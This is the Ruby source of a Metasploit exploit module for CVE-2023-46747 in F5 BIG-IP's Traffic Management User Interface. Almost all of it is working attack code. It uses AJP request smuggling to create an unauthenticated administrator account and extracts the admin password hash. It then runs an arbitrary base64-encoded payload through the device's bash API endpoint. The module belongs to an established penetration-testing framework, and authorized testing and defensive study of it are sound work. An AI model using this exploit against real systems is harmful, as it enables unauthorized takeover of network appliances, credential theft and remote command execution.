## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/apache_j_p' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry ApacheJP = Rex::Proto::ApacheJP def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE', 'Description' => %q{ This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are created. }, 'Author' => [ 'Michael Weber', # vulnerability analysis 'Thomas Hendrickson', # vulnerability analysis 'Sandeep Singh', # nuclei template 'Spencer McIntyre' # metasploit module ], 'References' => [ ['CVE', '2023-46747'], ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'], ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'], ['URL', 'https://my.f5.com/manage/s/article/K000137353'], ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'], ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis'] ], 'DisclosureDate' => '2023-10-26', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [ IOC_IN_LOGS, # user creation events are logged CONFIG_CHANGES # a temporary user is created then deleted ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = create_user(role: 'Guest') return CheckCode::Unknown('No response received from target.') unless res return CheckCode::Safe('Failed to create the user.') unless res.code == 200 changed = update_user_password return CheckCode::Safe('Failed to set the new user\'s password.') unless changed res = bigip_api_tm_get_user(username) return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate' CheckCode::Vulnerable('Successfully tested unauthenticated user creation.') end def exploit res = create_user(role: 'Administrator') fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 changed = update_user_password fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed print_good("Admin user was created successfully. Credentials: #{username} - #{password}") res = bigip_api_tm_get_user('admin') if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? print_good("Retrieved the admin hash: #{hash}") report_hash('admin', hash) end logged_in = retry_until_truthy(timeout: 30) do res = bigip_api_shared_login res&.code == 200 end fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in token = res.get_json_document.dig('token', 'token') fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank? print_status("Obtained login token: #{token}") bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)" # this may or may not timeout send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'), 'headers' => { 'Content-Type' => 'application/json', 'X-F5-Auth-Token' => token }, 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json ) end def report_hash(user, hash) jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) service_data = { address: rhost, port: rport, service_name: 'F5 BIG-IP TMUI', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, jtr_format: jtr_format, username: user }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end def cleanup super print_status('Deleting the created user...') delete_user end def username @username ||= rand_text_alpha(6..8) end def password @password ||= rand_text_alphanumeric(16..20) end def create_user(role:) # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/create', 'form_page' => '/tmui/system/user/create.jsp', 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]", 'systemuser-hidden_before' => '', 'name' => username, 'name_before' => '', 'passwd' => password, 'passwd_before' => '', 'finished' => 'x', 'finished_before' => '' }) end def delete_user send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/list', 'form_page' => '/tmui/system/user/list.jsp', 'checkbox0' => username, 'checkbox0_before' => 'checked', 'delete_confirm' => 'Delete', 'delete_confirm_before' => 'Delete', 'row_count' => '1', 'row_count_before' => '1' }) end def update_user_password new_password = Rex::Text.rand_text_alphanumeric(password.length) changed = retry_until_truthy(timeout: 30) do res = bigip_api_shared_set_password(username, password, new_password) res&.code == 200 end @password = new_password if changed changed end def send_request_smuggled_ajp(query) post_data = "204\r\n" # do not change timenow = rand_text_numeric(1) tmui_dubbuf = rand_text_alpha_upper(11) query = query.merge({ '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest), '_bufvalue_before' => '', '_timenow' => timenow, '_timenow_before' => '' }) query_string = URI.encode_www_form(query).ljust(370, '&') # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST, req_uri: '/tmui/Control/form', remote_addr: '127.0.0.1', remote_host: 'localhost', server_name: 'localhost', headers: [ { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf }, { header_name: 'REMOTEROLE', header_value: '0' }, { header_name: 'host', header_value: 'localhost' } ], attributes: [ { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } ] ) ajp_data = ajp_forward_request.to_binary_s[2...] unless ajp_data.length == 0x204 # 516 bytes # this is a developer error raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes." end post_data << ajp_data post_data << "\r\n0" send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'), 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' }, 'data' => post_data ) end def bigip_api_shared_set_password(user, old_password, new_password) send_request_cgi( 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", 'Content-Type' => 'application/json' }, 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json ) end def bigip_api_shared_login send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => { 'username' => username, 'password' => password }.to_json ) end def bigip_api_tm_get_user(user) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user), 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", 'Content-Type' => 'application/json' } ) end end